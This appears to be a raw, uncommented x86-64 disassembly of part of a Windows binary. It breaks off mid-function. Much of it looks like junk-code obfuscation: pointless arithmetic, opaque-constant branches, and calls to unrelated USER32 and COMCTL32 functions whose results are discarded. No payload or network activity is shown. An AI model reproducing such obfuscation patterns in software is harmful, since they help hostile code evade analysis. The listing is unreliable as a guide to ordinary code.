mov rax, qword [rbp + 0x24c08]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x3680]
mov rax, qword [rbp + 0xbc8]
and rdx, rcx
mov qword [rax], rdx
jmp 0x1400084b0
mov rax, qword [sym.imp.USER32.dll_GetClipboardViewer]
call rax
mov qword [rbp + 0x254b0], rax
mov rdx, qword [rbp + 0x2af0]
mov rax, qword [rbp + 0x255d8]
mov rax, qword [rax]
sub rdx, rax
mov rax, qword [rbp + 0x255d0]
mov qword [rax], rdx
mov rax, qword [rbp + 0xc80]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0xbf5
je 0x140008415
cmp eax, 0xe1a
je 0x140008490
jmp 0x1400084af
movzx edx, word [rbp + 0xbf4]
mov rax, qword [rbp + 0xc80]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x1a8c], ax
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x6b7]
add edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
movzx ecx, al
mov rax, qword [rbp + 0x25548]
movzx eax, word [rax]
movsx r9d, ax
mov r8d, dword [rbp + 0x1dc8]
mov rax, qword [rbp + 0x24c00]
mov rdx, qword [rax]
movzx eax, byte [rbp + 0x6b7]
movzx eax, al
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.14015b080
jmp 0x1400084af
mov rax, qword [rbp + 0x24bf8]
mov edx, 0x57
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetScrollPos]
call rax
mov dword [rbp + 0x4b38], eax
nop
nop
mov rax, qword [rbp + 0x25548]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x42b2]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25548]
mov word [rax], dx
movzx edx, word [rbp + 0xbf4]
movzx ecx, word [rbp + 0x1a8c]
mov rax, qword [rbp + 0xc80]
sub edx, ecx
mov word [rax], dx
movzx eax, byte [rbp + 0x6b7]
movzx ecx, byte [rbp + 0x1b37]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
mov rax, qword [rbp + 0x7c0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x473c]
and edx, eax
mov rax, qword [rbp + 0x25658]
mov dword [rax], edx
mov rax, qword [rbp + 0xbc8]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x3680]
mov rax, qword [rbp + 0xbc8]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x255d8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x24c00]
mov rax, qword [rax]
or rax, rdx
mov qword [rbp + 0x6b30], rax
mov edx, dword [rbp + 0x4b38]
mov rax, qword [rbp + 0x1540]
mov eax, dword [rax]
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
movzx eax, byte [rbp + 0x4fd7]
movsx edx, al
movzx eax, byte [rbp + 0x3727]
movsx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x24c10]
mov byte [rax], dl
mov rax, qword [rbp + 0xc80]
movzx edx, word [rax]
movzx eax, word [rbp + 0xbf4]
xor eax, edx
mov word [rbp + 0x1a8c], ax
movzx edx, byte [rbp + 0x1b37]
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
movzx edx, byte [rbp + 0x4fd7]
movzx eax, byte [rbp + 0x3727]
and edx, eax
mov rax, qword [rbp + 0x24c10]
mov byte [rax], dl
add dword [rbp + 0x255ac], 0xe6
mov rax, qword [rbp + 0x25548]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x42b2]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25548]
mov word [rax], dx
mov rax, qword [rbp + 0x24c08]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3680]
add rdx, rax
mov rax, qword [rbp + 0x25510]
mov qword [rax], rdx
mov rax, qword [rbp + 0x7c0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x473c]
sub edx, eax
mov dword [rbp + 0x66d0], edx
cmp dword [rbp + 0x255ac], 0x6620
jne 0x1400084b0
lea rax, [rbp + 0x7280]
mov qword [rbp + 0x24bf0], rax
mov rax, qword [rbp + 0x24c78]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x254f8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x1540]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x24c40]
mov edx, dword [rax]
mov rax, qword [rbp + 0x25658]
mov eax, dword [rax]
add edx, eax
mov ecx, dword [rbp + 0x473c]
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
sub ecx, eax
cmp ecx, edx
jae 0x140008786
mov rax, qword [rbp + 0xc80]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0xc76
je 0x14000876f
cmp eax, 0xde7
jne 0x140008786
mov rax, qword [rbp + 0x25548]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x42b2]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25548]
mov word [rax], dx
mov rax, qword [rbp + 0xc80]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1a8c]
and eax, edx
mov word [rbp + 0xbf4], ax
movzx eax, byte [rbp + 0x6b7]
movzx edx, al
movzx eax, byte [rbp + 0x1b37]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
mov rax, qword [rbp + 0x24c10]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x4fd7]
xor eax, edx
mov byte [rbp + 0x3a0b], al
lea rax, [rbp + 0xc80]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SetKeyboardState]
call rax
mov dword [rbp + 0x24c5c], eax
jmp 0x140008786
mov rdx, qword [rbp + 0x3680]
mov rax, qword [rbp + 0x3680]
mov rcx, rax
call fcn.14015b610
nop
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
mov byte [rbp + 0x7515], al
mov eax, dword [rbp + 0x473c]
cmp eax, 0x49d6d696
jne 0x14000884a
mov r8d, dword [rbp + 0x66d0]
mov edx, dword [rbp + 0x473c]
mov rax, qword [rbp + 0x7c0]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
movzx eax, word [rbp + 0x42b2]
cwde
cmp eax, 0x1260
je 0x140008835
cmp eax, 0x6bc5
jne 0x140008907
mov rax, qword [rbp + 0x24be8]
mov rcx, rax
mov rax, qword [sym.imp.COMCTL32.dll_MakeDragList]
call rax
mov dword [rbp + 0x24c1c], eax
mov rax, qword [rbp + 0xbc8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x25510]
mov rax, qword [rax]
or rax, rdx
mov qword [rbp + 0x3680], rax
mov rax, qword [rbp + 0x1540]
mov edx, dword [rax]
mov rax, qword [rbp + 0x24c70]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x254f8]
mov dword [rax], edx
jmp 0x140008845
mov rax, qword [sym.imp.USER32.dll_AnyPopup]
call rax
mov dword [rbp + 0x56f8], eax
nop
jmp 0x140008907
mov rax, qword [rbp + 0x24c08]
mov rdx, qword [rax]
movabs rax, 0x155ba12ee554b4fd
cmp rdx, rax
jne 0x140008904
mov rax, qword [rbp + 0x255d0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x255d8]
mov rax, qword [rax]
sub rdx, rax
mov rax, qword [rbp + 0x24bf0]
mov qword [rax], rdx
mov rax, qword [rbp + 0xc80]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x729
je 0x1400088a5
cmp eax, 0xcce
je 0x1400088df
jmp 0x140008905
mov rax, qword [rbp + 0xc80]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1a8c]
and eax, edx
mov word [rbp + 0xbf4], ax
mov rax, qword [rbp + 0x255f8]
mov edx, 0xce
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetClassLongA]
call rax
mov dword [rbp + 0x2978], eax
jmp 0x140008902
movzx eax, word [rbp + 0x638]
mov edx, eax
movzx eax, word [rbp + 0x42b2]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25548]
mov word [rax], dx
nop
jmp 0x140008905
nop
jmp 0x140008908
nop
mov eax, dword [rbp + 0x66d0]
test eax, eax
je 0x140008953
cmp eax, 0x72026357
jne 0x14000899f
mov rax, qword [rbp + 0xc80]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1a8c]
add eax, edx
mov word [rbp + 0xbf4], ax
lea rax, [rbp + 0x43f0]
mov rcx, rax
mov rax, qword [sym.imp.comdlg32.dll_ReplaceTextA]
call rax
mov qword [rbp + 0x254b0], rax
jmp 0x14000899f
lea rax, [rbp + 0x4fd7]
mov qword [rbp + 0x25630], rax
movzx eax, word [rbp + 0x638]
mov edx, eax
movzx eax, word [rbp + 0x42b2]
add eax, edx
mov word [rbp + 0x6a1e], ax
mov rax, qword [rbp + 0x24c40]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x473c]
mov rax, qword [rbp + 0x7c0]
add edx, ecx
mov dword [rax], edx
mov dword [rbp + 0x25664], 0x3288
nop
lea rax, [rbp + 0x7280]
mov qword [rbp + 0x24be0], rax
mov dword [rbp + 0x255b0], 0x3db8
mov rax, qword [rbp + 0x25548]
movzx eax, word [rax]
cwde
cmp eax, 0x4ffe
jne 0x140008ac9
mov rax, qword [rbp + 0x24bf0]
mov rdx, qword [rax]
movabs rax, 0xb7eba25f1a383965
cmp rdx, rax
jne 0x140008a9f
mov rax, qword [rbp + 0x255d8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x6b30]
lea rcx, [rdx + rax]
mov rdx, qword [rbp + 0x7280]
mov rax, qword [rbp + 0x24c00]
mov rax, qword [rax]
sub rdx, rax
cmp rcx, rdx
jne 0x140008ac3
mov rax, qword [rbp + 0x24c08]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3680]
add rdx, rax
mov rax, qword [rbp + 0x25510]
mov qword [rax], rdx
mov rax, qword [rbp + 0x1540]
mov edx, dword [rax]
mov eax, dword [rbp + 0x78ec]
sub edx, eax
mov dword [rbp + 0x4b38], edx
movzx edx, byte [rbp + 0x4fd7]
movzx eax, byte [rbp + 0x3a0b]
or edx, eax
mov rax, qword [rbp + 0x24c10]
mov byte [rax], dl
lea rax, [rbp + 0x12d0]
mov rcx, rax
mov rax, qword [sym.imp.COMCTL32.dll_PropertySheetA]
call rax
mov dword [rbp + 0x78ec], eax
movzx ecx, word [rbp + 0xbf4]
movzx edx, word [rbp + 0x1a8c]
mov rax, qword [rbp + 0xc80]
xor edx, ecx
mov word [rax], dx
jmp 0x140008ac3
mov rax, qword [rbp + 0x25548]
movzx eax, word [rax]
movsx edx, ax
movzx eax, word [rbp + 0x638]
cwde
mov ecx, eax
sar edx, cl
mov eax, edx
mov word [rbp + 0x6a1e], ax
jmp 0x140008ac4
nop
jmp 0x140008ccc
lea rax, [rbp + 0x3727]
mov qword [rbp + 0x1b28], rax
mov eax, dword [rbp + 0x4b38]
test eax, eax
jne 0x140008caf
lea rax, [rbp + 0x7515]
mov qword [rbp + 0x254c8], rax
mov rax, qword [rbp + 0x25548]
movzx eax, word [rax]
cwde
cmp eax, 0x5db8
je 0x140008b1a
cmp eax, 0x7eed
jne 0x140008cca
call fcn.14015bd61
jmp 0x140008cad
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1068]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x4b38], eax
mov rax, qword [rbp + 0x3680]
test rax, rax
jne 0x140008c8c
lea rax, [rbp + 0x66d0]
mov qword [rbp + 0x25508], rax
mov rax, qword [rbp + 0x24c40]
mov edx, dword [rax]
mov rax, qword [rbp + 0x25508]
mov eax, dword [rax]
mov ecx, edx
and ecx, eax
mov rax, qword [rbp + 0x25658]
mov edx, dword [rax]
mov eax, dword [rbp + 0x66d0]
add eax, edx
cmp ecx, eax
je 0x140008c35
mov rax, qword [rbp + 0xc80]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x7e
jne 0x140008c0d
mov rcx, qword [rbp + 0x3680]
mov rax, qword [rbp + 0x24c08]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xbc8]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x24be0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x7280]
add rax, rdx
mov qword [rbp + 0x2af0], rax
lea rdx, [rbp + 0x6038]
mov rax, qword [rbp + 0x24c80]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ClientToScreen]
call rax
mov dword [rbp + 0x24bdc], eax
mov rax, qword [rbp + 0x25630]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3a0b]
add edx, eax
mov rax, qword [rbp + 0x1b28]
mov byte [rax], dl
jmp 0x140008c8a
lea rdx, [rbp + 0x4e10]
mov rax, qword [rbp + 0x24c68]
mov r8d, 0x75
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_RealGetWindowClassA]
call rax
mov dword [rbp + 0x2978], eax
jmp 0x140008c8a
mov rax, qword [rbp + 0x24be0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x24c00]
mov rax, qword [rax]
add rdx, rax
mov rax, qword [rbp + 0x255d8]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x24bf0]
mov rax, qword [rax]
and rax, rcx
cmp rdx, rax
je 0x140008cab
mov rax, qword [rbp + 0x25548]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x6a1e]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x638], ax
jmp 0x140008cab
jmp 0x140008cab
mov rax, qword [rbp + 0xc80]
movzx edx, word [rax]
movzx ecx, word [rbp + 0xbf4]
mov rax, qword [rbp + 0xc80]
sub edx, ecx
mov word [rax], dx
jmp 0x140008cac
nop
nop
jmp 0x140008cca
mov rax, qword [rbp + 0x25650]
mov rcx, rax
mov rax, qword [sym.imp.COMCTL32.dll_MakeDragList]
call rax
mov dword [rbp + 0x3544], eax
jmp 0x140008ccb
nop
nop
movzx eax, word [rbp + 0x1a8c]
movzx eax, ax
test eax, eax
jne 0x140008d2f
movzx eax, byte [rbp + 0x1b37]
movzx edx, al
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x254c8]
mov byte [rax], dl
mov rax, qword [rbp + 0x24c60]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1b37]
xor edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
mov eax, dword [rbp + 0x2978]
mov dword [rbp + 0x210c], eax
jmp 0x140008dcf
mov rax, qword [rbp + 0x25510]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x24c08]
mov rax, qword [rax]
mov ecx, eax
mov rax, qword [rbp + 0xbc8]
shl rdx, cl
mov qword [rax], rdx
mov rax, qword [rbp + 0x254c8]
movzx eax, byte [rax]
movzx eax, al
cmp eax, 0x1b
jne 0x140008db1
mov rax, qword [rbp + 0x24bf0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4bf8]
or rax, rdx
mov qword [rbp + 0x6b30], rax
mov edx, 0xa2
mov ecx, 0x5a
mov rax, qword [sym.imp.USER32.dll_SetCaretPos]
call rax
mov dword [rbp + 0x24c88], eax
mov ecx, dword [rbp + 0x1dc8]
mov edx, dword [rbp + 0x78ec]
mov rax, qword [rbp + 0x1540]
and edx, ecx
mov dword [rax], edx
jmp 0x140008dce
mov rax, qword [rbp + 0x25548]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x6a1e]
add eax, edx
mov word [rbp + 0x638], ax
nop
nop
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x7515]
add edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
mov rax, qword [rbp + 0x25630]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x24c10]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x1b28]
mov byte [rax], dl
mov rax, qword [rbp + 0xc80]
movzx eax, word [rax]
movzx edx, word [rbp + 0x1a8c]
sub eax, edx
mov word [rbp + 0xbf4], ax
mov rax, qword [rbp + 0x25548]
movzx edx, word [rax]
movzx eax, word [rbp + 0x638]
and edx, eax
mov rax, qword [rbp + 0x25548]
mov word [rax], dx
mov rax, qword [rbp + 0x24c00]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x255d0]
mov rax, qword [rax]
sub rdx, rax
mov rax, qword [rbp + 0x24be0]
mov qword [rax], rdx
mov edx, dword [rbp + 0x1068]
mov eax, dword [rbp + 0x1dc8]
add eax, edx
mov dword [rbp + 0x78ec], eax
mov rax, qword [rbp + 0x24c08]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xbc8]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x3680], rdx
mov rax, qword [rbp + 0x7c0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x25658]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x473c], eax
mov rax, qword [rbp + 0x1b28]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x25630]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x24c10]
mov byte [rax], dl
mov rax, qword [rbp + 0xc80]
movzx ecx, word [rax]
movzx edx, word [rbp + 0xbf4]
mov rax, qword [rbp + 0xc80]
or edx, ecx
mov word [rax], dx
movzx eax, byte [rbp + 0x6b7]
movzx edx, al
movzx eax, byte [rbp + 0x1b37]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
movzx ecx, word [rbp + 0xbf4]
movzx edx, word [rbp + 0x1a8c]
mov rax, qword [rbp + 0xc80]
xor edx, ecx
mov word [rax], dx
movzx edx, byte [rbp + 0x6b7]
movzx eax, byte [rbp + 0x7515]
and edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
mov edx, dword [rbp + 0x1068]
mov eax, dword [rbp + 0x4b38]
sub edx, eax
mov dword [rbp + 0x78ec], edx
mov rax, qword [rbp + 0x25508]
mov edx, dword [rax]
mov rax, qword [rbp + 0x24c40]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x255f0]
mov dword [rax], edx
mov rdx, qword [rbp + 0x4bf8]
mov rax, qword [rbp + 0x255d8]
mov rax, qword [rax]
sub rdx, rax
mov rax, qword [rbp + 0x24bf0]
mov qword [rax], rdx
mov rax, qword [rbp + 0x25510]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3680]
add rdx, rax
mov rax, qword [rbp + 0x24c08]
mov qword [rax], rdx
mov rax, qword [rbp + 0xc80]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x1a8c]
mov rax, qword [rbp + 0xc80]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x25630]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3a0b]
and eax, edx
mov byte [rbp + 0x3727], al
mov rax, qword [rbp + 0x25548]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x6a1e]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25548]
mov word [rax], dx
mov rax, qword [rbp + 0x24c60]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x7515]
add edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
mov rax, qword [rbp + 0x1b28]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x25630]
movzx eax, byte [rax]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x24c10]
mov byte [rax], dl
sub dword [rbp + 0x25584], 0x26
mov rax, qword [rbp + 0x24c70]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1dc8]
mov ecx, eax
sar edx, cl
mov eax, edx
mov dword [rbp + 0x4b38], eax
mov rax, qword [rbp + 0x24c08]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xbc8]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, qword [rbp + 0x25510]
mov qword [rax], rdx
mov rax, qword [rbp + 0x25658]
mov edx, dword [rax]
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
xor edx, eax
mov rax, qword [rbp + 0x25508]
mov dword [rax], edx
mov rax, qword [rbp + 0x255d8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2af0]
or rax, rdx
mov qword [rbp + 0x4bf8], rax
movzx edx, byte [rbp + 0x7515]
movzx eax, byte [rbp + 0x6b7]
and eax, edx
mov byte [rbp + 0x1b37], al
cmp dword [rbp + 0x25584], 0xca05
ja 0x140008dcf
movzx eax, byte [rbp + 0x3727]
mov edx, eax
movzx eax, byte [rbp + 0x4fd7]
sub edx, eax
mov rax, qword [rbp + 0x1b28]
mov byte [rax], dl
mov rax, qword [rbp + 0xc80]
movzx eax, word [rax]
movzx eax, ax
test eax, eax
jne 0x14000916e
movzx eax, word [rbp + 0xbf4]
movzx eax, ax
cmp eax, 0x28f
jne 0x14000913e
call fcn.14015bd61
jmp 0x140009169
movzx eax, word [rbp + 0x1a8c]
mov word [rbp + 0x4cb6], ax
lea rax, [rbp + 0x42b2]
mov qword [rbp + 0x25600], rax
movzx eax, word [rbp + 0x42b2]
mov word [rbp + 0x3494], ax
nop
jmp 0x140009216
mov ecx, 0x34
mov rax, qword [sym.imp.USER32.dll_SetProcessDefaultLayout]
call rax
mov dword [rbp + 0x24bdc], eax
mov rax, qword [rbp + 0x25600]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x3494]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25600]
mov word [rax], dx
mov rax, qword [rbp + 0xc80]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x9ea
jne 0x140009200
mov rax, qword [rbp + 0x254c8]
movzx eax, byte [rax]
movzx ecx, al
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
movzx r9d, al
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
movzx r8d, al
mov rdx, qword [rbp + 0x3680]
mov rax, qword [rbp + 0x3680]
mov dword [rsp + 0x20], ecx
mov rcx, rax
call fcn.140001450
jmp 0x140009215
mov edx, dword [rbp + 0x2978]
mov eax, dword [rbp + 0x66d0]
add eax, edx
mov dword [rbp + 0x473c], eax
nop
nop
movzx eax, byte [rbp + 0x3a0b]
movsx eax, al
test eax, eax
je 0x140009232
cmp eax, 0x34
je 0x14000932a
jmp 0x14000936e
mov rdx, qword [rbp + 0x4bf8]
mov rax, qword [rbp + 0x24be0]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x7280], rdx
mov rax, qword [rbp + 0x3680]
mov qword [rbp + 0x43a0], rax
mov rax, qword [rbp + 0x24c78]
mov eax, dword [rax]
mov dword [rbp + 0x3784], eax
lea rax, [rbp + 0x1a8c]
mov qword [rbp + 0x255a0], rax
movzx eax, word [rbp + 0x1a8c]
movzx eax, ax
test eax, eax
je 0x140009292
cmp eax, 0xc79
je 0x140009306
jmp 0x14000936e
mov rax, qword [rbp + 0x24c60]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x254c8]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
mov rax, qword [rbp + 0x1b28]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x25630]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x1b28]
mov byte [rax], dl
movzx eax, word [rbp + 0x3494]
mov word [rbp + 0x1a86], ax
movzx edx, byte [rbp + 0x3a0b]
movzx eax, byte [rbp + 0x3727]
and eax, edx
mov byte [rbp + 0x4fd7], al
lea rax, [rbp + 0x66d0]
mov qword [rbp + 0x25538], rax
jmp 0x140009328
mov rax, qword [rbp + 0x24c08]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xbc8]
mov rax, qword [rax]
add rdx, rax
mov rax, qword [rbp + 0x25510]
mov qword [rax], rdx
nop
jmp 0x14000936e
mov rax, qword [rbp + 0x24c70]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
movzx r9d, al
mov rax, qword [rbp + 0x24c78]
mov r8d, dword [rax]
movzx eax, word [rbp + 0x6a1e]
movsx edx, ax
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
movzx eax, al
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.1400017de
nop
mov rax, qword [rbp + 0x24c00]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2af0]
or rdx, rax
mov rax, qword [rbp + 0x255d0]
mov qword [rax], rdx
mov rax, qword [rbp + 0x24c70]
mov r8d, dword [rax]
mov edx, dword [rbp + 0x78ec]
mov rax, qword [rbp + 0x1540]
mov ecx, edx
sar r8d, cl
mov edx, r8d
mov dword [rax], edx
movzx eax, byte [rbp + 0x1b37]
movzx edx, al
movzx eax, byte [rbp + 0x6b7]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x7515], al
mov rax, qword [rbp + 0x255a0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1a8c]
xor eax, edx
mov word [rbp + 0x4cb6], ax
movzx eax, word [rbp + 0x638]
mov edx, eax
mov rax, qword [rbp + 0x25548]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25600]
mov word [rax], dx
mov rax, qword [rbp + 0xc80]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x1a8c]
mov rax, qword [rbp + 0xc80]
and edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x24c10]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x25630]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x1b28]
mov byte [rax], dl
mov rax, qword [rbp + 0x7c0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2978]
sub edx, eax
mov rax, qword [rbp + 0x255f0]
mov dword [rax], edx
mov rax, qword [rbp + 0x1540]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x1068]
mov rax, qword [rbp + 0x1540]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0xbc8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3680]
add rax, rdx
mov qword [rbp + 0x43a0], rax
mov rax, qword [rbp + 0x24be0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x255d0]
mov rax, qword [rax]
add rdx, rax
mov rax, qword [rbp + 0x255d8]
mov qword [rax], rdx
mov rax, qword [rbp + 0x255a0]
movzx edx, word [rax]
mov rax, qword [rbp + 0xc80]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0xbf4], ax
mov rax, qword [rbp + 0x25600]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x3494]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25600]
mov word [rax], dx
movzx edx, byte [rbp + 0x6b7]
movzx eax, byte [rbp + 0x1b37]
and eax, edx
mov byte [rbp + 0x7515], al
mov rax, qword [rbp + 0x24c10]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x4fd7]
or eax, edx
mov byte [rbp + 0x3a0b], al
movzx eax, byte [rbp + 0x1b37]
movzx edx, al
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
mov edx, dword [rbp + 0x4b38]
mov eax, dword [rbp + 0x78ec]
mov ecx, eax
sar edx, cl
mov eax, edx
mov dword [rbp + 0x1068], eax
mov rax, qword [rbp + 0x24bf0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x24c00]
mov rax, qword [rax]
xor rdx, rax
mov rax, qword [rbp + 0x255d8]
mov qword [rax], rdx
mov rax, qword [rbp + 0xbc8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x43a0]
add rax, rdx
mov qword [rbp + 0x3680], rax
mov rax, qword [rbp + 0x7c0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x255f0]
mov eax, dword [rax]
add edx, eax
mov rax, qword [rbp + 0x25538]
mov dword [rax], edx
mov rax, qword [rbp + 0x254c8]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x7515]
and edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
mov rax, qword [rbp + 0x255a0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0xbf4]
mov rax, qword [rbp + 0xc80]
add edx, ecx
mov word [rax], dx
add dword [rbp + 0x255b0], 0x29
movzx eax, word [rbp + 0x1a86]
mov edx, eax
movzx eax, word [rbp + 0x3494]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25548]
mov word [rax], dx
movzx eax, byte [rbp + 0x3a0b]
mov edx, eax
mov rax, qword [rbp + 0x1b28]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
